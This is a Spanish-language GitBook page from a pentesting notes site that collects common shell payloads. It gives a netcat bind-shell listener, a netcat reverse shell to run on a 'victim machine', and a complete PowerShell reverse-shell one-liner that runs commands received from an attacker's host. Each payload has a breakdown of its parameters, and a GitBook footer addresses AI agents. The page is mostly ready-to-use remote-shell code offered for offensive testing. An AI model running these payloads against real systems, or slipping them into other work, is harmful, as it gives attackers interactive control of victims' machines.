> For the complete documentation index, see [llms.txt](https://securitylayer.gitbook.io/securitylayer/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://securitylayer.gitbook.io/securitylayer/scripts-and-payloads/common-shell-payloads.md).

# Common shell Payloads

### **Create a listener for a bind shell**

Listener:

```
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
```

**¿Qué hace este comando?**

Este comando se ejecuta en **tu máquina atacante** y crea un **listener** con `nc` (Netcat) esperando conexiones entrantes. El shell que recibe se maneja con un archivo FIFO (pipe nombrado).

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `mkfifo /tmp/f`
  * Crea un **FIFO (named pipe)** llamado `/tmp/f`. Sirve como canal de entrada/salida para redirigir datos.
* `nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1`
  * `nc`: Ejecuta Netcat.
  * `-l`: Escucha.
  * `-v`: Modo verbose.
  * `-n`: No intenta hacer DNS lookup.
  * `-p <PORT>`: Puerto donde se escucha.
  * `< /tmp/f`: Usa el FIFO como entrada estándar.
  * `| /bin/sh`: La entrada del FIFO se interpreta como comandos de shell.
  * `>/tmp/f 2>&1`: La salida (stdout y stderr) se escribe en el FIFO.
  * Así se logra una **conexión interactiva de shell**.
* `rm /tmp/f`
  * Limpia el archivo FIFO una vez que se cierra la conexión

</details>

Reverse shell:

```
mkfifo /tmp/f; nc <IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
```

**¿Qué hace este comando?**

Este se ejecuta en la **máquina víctima**. Establece una conexión hacia tu máquina (tu IP y puerto) y redirige un shell usando un FIFO.

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

**Diferencias clave:**

* Cambia `nc -lvnp <PORT>` (modo escucha) por `nc <LOCAL-IP> <PORT>` (modo cliente).
* `<LOCAL-IP>` es la IP de tu máquina atacante, donde estás escuchando con Netcat.
* Sirve para **enviar una reverse shell desde la víctima** a tu listener.

</details>

### **Reverse shell con PowerShell en Windows**

```
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

**¿Qué hace este comando?**

Este es un **reverse shell en PowerShell** para sistemas Windows. Se conecta a tu IP y puerto, recibe comandos, los ejecuta en PowerShell, y devuelve la salida.

Los valores `<ip>` y `<port>` son los que debemos setear con nuestros datos de nuestra máquina atacante

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* **TCPClient**:
  * `New-Object System.Net.Sockets.TCPClient('<ip>',<port>)` establece una conexión hacia tu máquina atacante.
* **Canal de comunicación**:
  * Usa `$stream = $client.GetStream()` para leer y escribir datos por el socket.
* **Lectura de comandos**:
  * Lee datos entrantes en un bucle con `$stream.Read(...)`, y los decodifica con ASCIIEncoding.
* **Ejecución de comandos**:
  * Usa `iex $data` para ejecutar el comando recibido.
* **Respuesta al atacante**:
  * Captura la salida con `Out-String`, la codifica en bytes y la escribe de vuelta en el stream.
* **Cierre**:
  * Cuando se termina la conexión, cierra el socket con `$client.Close()`.

</details>

Para ver más payloads sobre reverse shell visitar: [**Payloads All The Things**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://securitylayer.gitbook.io/securitylayer/scripts-and-payloads/common-shell-payloads.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
